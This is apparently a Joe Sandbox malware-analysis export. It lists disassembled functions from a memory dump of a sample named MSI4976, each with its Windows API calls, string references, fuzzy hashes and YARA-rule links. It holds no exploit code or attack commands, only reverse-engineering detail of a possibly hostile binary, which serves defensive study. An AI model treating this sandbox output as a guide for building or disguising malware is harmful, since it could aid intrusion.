Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: bfaa2b53519a9be26f9da5fbdc719f13bc0dd7a30e0abe76415576357585398d
Instruction ID: 924696d5d239ed27825f5b14b9096f7a9eb51d16aee364d06c90bb167e184be0
Opcode Fuzzy Hash: bfaa2b53519a9be26f9da5fbdc719f13bc0dd7a30e0abe76415576357585398d
Instruction Fuzzy Hash: 6831C071500619EFDF05CFA8DD4CA9E3BB9EB0531AF114214FC21AA1E1C7B09A08CB90

Function 0038DC79 Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 0033AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0033AF8E

GetWindowLongW.USER32(?,000000F0), ref: 0038DCC0
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 0038DCE4
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 0038DCFC
GetSystemMetrics.USER32(00000004), ref: 0038DD24
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,00000000,?,0037407D,00000000), ref: 0038DD42

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: 0376d00922445868690dc77c6a7f21eb5b440eaa925880c22928dd50a4d88020
Instruction ID: 123c7f5e66e552ed9e4a55e6e562a5f0feb3ce71fe271c295744d303c3d98cf6
Opcode Fuzzy Hash: 0376d00922445868690dc77c6a7f21eb5b440eaa925880c22928dd50a4d88020
Instruction Fuzzy Hash: 9221C171604321AFCB226F799C88B6977A9FF46365F110724F926C69E0E7709C14CB90

Function 003789AD Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 003789CE
GetForegroundWindow.USER32 ref: 003789E5
GetDC.USER32(00000000), ref: 00378A21
GetPixel.GDI32(00000000,?,00000003), ref: 00378A2D
ReleaseDC.USER32(00000000,00000003), ref: 00378A68

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 649c33d57f31ccfd94b9b8533900954e28a5c4b6823641b36ba45c1dc73b250a
Instruction ID: d75cd5f61b81f731d4b7c698597cf99986c6bec4f2aa5cfa8e4ccb3ac058ea8d
Opcode Fuzzy Hash: 649c33d57f31ccfd94b9b8533900954e28a5c4b6823641b36ba45c1dc73b250a
Instruction Fuzzy Hash: 40219276A00200AFDB15EF65D889AAABBF9EF45300F04C478E94ADB761DB74AD40CB50

Function 0033B58B Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 0033B5EB
SelectObject.GDI32(?,00000000), ref: 0033B5FA
BeginPath.GDI32(?), ref: 0033B611
SelectObject.GDI32(?,00000000), ref: 0033B63B

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 8cca65d30f1428dd691b012b1d088fb1f9db6780c082d105115f7f1ea4153ff4
Instruction ID: cb58f24ac897f5db6b85ee1d2b64a77a6822e512c5414b5dfdd914e22550359c
Opcode Fuzzy Hash: 8cca65d30f1428dd691b012b1d088fb1f9db6780c082d105115f7f1ea4153ff4
Instruction Fuzzy Hash: 4A21AE71900388EFDB239F15ECC97A9BBECFB01325F14022AF6519A1E1C3708891CB91

Function 00342E57 Relevance: 7.6, APIs: 5, Instructions: 61threadCOMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00342E81
CreateThread.KERNEL32(?,?,00342FB7,00000000,?,?), ref: 00342EC5
GetLastError.KERNEL32 ref: 00342ECF
_free.LIBCMT ref: 00342ED8
__dosmaperr.LIBCMT ref: 00342EE3

Part of subcall function 0034889E: __getptd_noexit.LIBCMT ref: 0034889E

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CreateErrorLastThread__calloc_crt__dosmaperr__getptd_noexit_free
String ID:
API String ID: 2664167353-0
Opcode ID: 7335740b810bfa012f87cb1eab517e92e9e01c6cfdb2dd1c2f182fa18239ab9b
Instruction ID: f30e4db70c79ed4fab739a920663d4795595d6abdd96cf662ece7ae7e6d3ec75
Opcode Fuzzy Hash: 7335740b810bfa012f87cb1eab517e92e9e01c6cfdb2dd1c2f182fa18239ab9b
Instruction Fuzzy Hash: 7D11C432104706AFDB23AFA59C41DAF7BE8EF45770B510429FA549E191EB31E8418760

Function 0035B8E7 Relevance: 7.5, APIs: 5, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 0035B903
GetLastError.KERNEL32(?,0035B3CB,?,?,?), ref: 0035B90D
GetProcessHeap.KERNEL32(00000008,?,?,0035B3CB,?,?,?), ref: 0035B91C
RtlAllocateHeap.NTDLL(00000000,?,0035B3CB), ref: 0035B923
GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 0035B93A

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocateErrorLastProcess
String ID:
API String ID: 883493501-0
Opcode ID: 9064be3ae05f9b2e81b342e8269113cfe8f029e0c41b77d927e6b8a2cd727441
Instruction ID: 31eeebfbdb8023a401f116a0a5066564a107466fe24754a22e799c1d6d1edc38
Opcode Fuzzy Hash: 9064be3ae05f9b2e81b342e8269113cfe8f029e0c41b77d927e6b8a2cd727441
Instruction Fuzzy Hash: 2B016975201208BFDF124FA5DC88DAB7BADFF8A765B140029F946C2260DB718C44DA60

Function 00368355 Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00368371
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0036837F
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00368387
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00368391
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 003683CD

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 2816861fe940d3a6c649cf826cc4f53e4376e832254b7c9c688041414c99fddb
Instruction ID: b72a43e026eac0c6c1e95d16ed37e89a4d16af431b5863fd32fd47d673554f17
Opcode Fuzzy Hash: 2816861fe940d3a6c649cf826cc4f53e4376e832254b7c9c688041414c99fddb
Instruction Fuzzy Hash: F2016939D00619DBCF02AFA4EC48AEEBB7CFB0EB01F114541E402B2654CF709550CBA1

Function 0035A857 Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.COMBASE ref: 0035A874
ProgIDFromCLSID.COMBASE(?,00000000), ref: 0035A88F
lstrcmpiW.KERNEL32(?,00000000), ref: 0035A89D
CoTaskMemFree.COMBASE(00000000), ref: 0035A8AD
CLSIDFromString.COMBASE(?,?), ref: 0035A8B9

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 8180e05ff0bd0785aa9a076fcf928358d48275d222a3c14a0206556873edb0bd
Instruction ID: ff5cc4affc0bf01210b7c386c1ed2c93bf69d3c8d14dc05c482361151c6f1e00
Opcode Fuzzy Hash: 8180e05ff0bd0785aa9a076fcf928358d48275d222a3c14a0206556873edb0bd
Instruction Fuzzy Hash: A301DF76600604AFDB024F14EC44B9A7FEDEF44352F104024FC02D6220D730DD04ABA1

Function 0035B78E Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 0035B7A5
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 0035B7AF
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 0035B7BE
RtlAllocateHeap.NTDLL(00000000,?,00000002), ref: 0035B7C5
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 0035B7DB

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: HeapInformationToken$AllocateErrorLastProcess
String ID:
API String ID: 47921759-0
Opcode ID: 702e2fe161fce6d608071d68507598eceebcc25f9fcd87f96b38e06f5b61c3a8
Instruction ID: 283ee80aceea309cc903a3a28f1424aea321ba896699e9192fc5e122b6acb04d
Opcode Fuzzy Hash: 702e2fe161fce6d608071d68507598eceebcc25f9fcd87f96b38e06f5b61c3a8
Instruction Fuzzy Hash: 7DF04F752402046FEB125FA5AC89EB77BACFF8B756F104019F942C7560DB609C458A60

Function 0035B7EF Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 0035B806
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 0035B810
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 0035B81F
RtlAllocateHeap.NTDLL(00000000,?,TokenIntegrityLevel), ref: 0035B826
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 0035B83C

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: HeapInformationToken$AllocateErrorLastProcess
String ID:
API String ID: 47921759-0
Opcode ID: aecaf17714cb951159a7ebc4c8627aebbcf4da0dbb6c67a6a604bcd456bf0cf9
Instruction ID: 7dfb338c3ca9e338e3b33b6c7b19f551b9f37cf06cb445c2b13366ffa55ec1ba
Opcode Fuzzy Hash: aecaf17714cb951159a7ebc4c8627aebbcf4da0dbb6c67a6a604bcd456bf0cf9
Instruction Fuzzy Hash: F3F04975200204AFEB225FA5EC88EAB7B6CFF4B759F000029F942C75A0CB609846CA60

Function 0035FA7B Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 0035FA8F
GetWindowTextW.USER32(00000000,?,00000100), ref: 0035FAA6
MessageBeep.USER32(00000000), ref: 0035FABE
KillTimer.USER32(?,0000040A), ref: 0035FADA
EndDialog.USER32(?,00000001), ref: 0035FAF4

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: d38086e14cce75f54be7caa155104187cc6f4557f40b7a51eac2eecb389bcf09
Instruction ID: 560f369ef7ee9e776eaf0dc8f5013b9163d80a774f3e9d7924f9c36ed6ebf8af
Opcode Fuzzy Hash: d38086e14cce75f54be7caa155104187cc6f4557f40b7a51eac2eecb389bcf09
Instruction Fuzzy Hash: 1A018130900704AFEB269B14DD4EF9677BCBF05B0AF040169B687A98F0DBF0A9488F51

Function 0033B517 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 0033B526
StrokeAndFillPath.GDI32(?,?,0039F583,00000000,?), ref: 0033B542
SelectObject.GDI32(?,00000000), ref: 0033B555
DeleteObject.GDI32 ref: 0033B568
StrokePath.GDI32(?), ref: 0033B583

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 3e518eee3c88dd6e957bfa4bac375d481eabd063410a167076778d239e545ef1
Instruction ID: 8890b3c31e50cfe9fa9002f541f951781a504d47a2132c74f517c1677e21f98b
Opcode Fuzzy Hash: 3e518eee3c88dd6e957bfa4bac375d481eabd063410a167076778d239e545ef1
Instruction Fuzzy Hash: E3F0C931100288EBDB279F25ED8C7957FE9A712322F188314E5A6885F0C7348996DF11

Function 0036FA15 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 277comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0036FAB2
CoCreateInstance.COMBASE(003ADA7C,00000000,00000001,003AD8EC,?), ref: 0036FACA

Part of subcall function 0032CAEE: _memmove.LIBCMT ref: 0032CB2F

CoUninitialize.COMBASE ref: 0036FD2D

Strings

.lnk, xrefs: 0036FA63, 0036FA68, 0036FA76

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: 5052a51939134f87063e10bd423169fd80b5f5689fddc91d20cf897d5a4b9dec
Instruction ID: eaefd9b1728726cf8271e0d6338597f79b3339b178d90fc6e347f60915dcb72f
Opcode Fuzzy Hash: 5052a51939134f87063e10bd423169fd80b5f5689fddc91d20cf897d5a4b9dec
Instruction Fuzzy Hash: EDA15B72504301AFD302EF64D891EABB7EDEF88704F40492DF1559B192EB70EA09CB92

Function 0033DA5A Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 162COMMON

Download Yara Rule

Strings

#, xrefs: 0033DA9D
+, xrefs: 0033DA96

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID:
String ID: #$+
API String ID: 0-2552117581
Opcode ID: 79c92045f52041236b81cde19384614a2be492e460fc8ad3f0372e277b83ebb3
Instruction ID: 7f2663cf50a05dfd849c4dad7230c4b6d5e490bdd387f418eb45aaa6ac1189ec
Opcode Fuzzy Hash: 79c92045f52041236b81cde19384614a2be492e460fc8ad3f0372e277b83ebb3
Instruction Fuzzy Hash: 0C510E355042568FDF17EF68E481AFABBA4FF2A310F164056F8929B290D7349D47CB20

Function 0036503C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(0000000C,00000016,00000016,00000000,00000000,?,00000000,003BDC40,?,0000000F,0000000C,00000016,003BDC40,?), ref: 0036507B

Part of subcall function 003284A6: __swprintf.LIBCMT ref: 003284E5
Part of subcall function 003284A6: __itow.LIBCMT ref: 00328519

Part of subcall function 0032B8A7: _memmove.LIBCMT ref: 0032B8FB

CharUpperBuffW.USER32(?,?,00000000,?), ref: 003650FB

Strings

THIS, xrefs: 00365139
REMOVE, xrefs: 003650AC

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: BuffCharUpper$__itow__swprintf_memmove
String ID: REMOVE$THIS
API String ID: 2528338962-776492005
Opcode ID: 644dd466c60b64dddeb622ea1f246475f68853cbe7196e2d222ef5893f1daa39
Instruction ID: c86ce9490017f66d0146b319016e0321cf8d4af45161316c834e8a297bdcb18e
Opcode Fuzzy Hash: 644dd466c60b64dddeb622ea1f246475f68853cbe7196e2d222ef5893f1daa39
Instruction Fuzzy Hash: 0E419075A00619AFCF06EF64C881AAEB7B9BF49304F04C469E856AF356DB34DD41CB50

Function 0038A44D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,003BDBF0,00000000,?,?,?,?), ref: 0038A4E6
GetWindowLongW.USER32 ref: 0038A503
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0038A513

Strings

SysTreeView32, xrefs: 0038A4B8

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 48d84b47ece7f466de7bea74ed28a0570bc80a6b3d4fbaa9edff423e0745c7d5
Instruction ID: 21b2ff6d46511ce23e75739856876e7f5827097e40503393055f32165aafea05
Opcode Fuzzy Hash: 48d84b47ece7f466de7bea74ed28a0570bc80a6b3d4fbaa9edff423e0745c7d5
Instruction Fuzzy Hash: 2331B231200A05AFEF12AF38CC45BEA7B69EB49324F254715F9B5932E0D770E8509B50

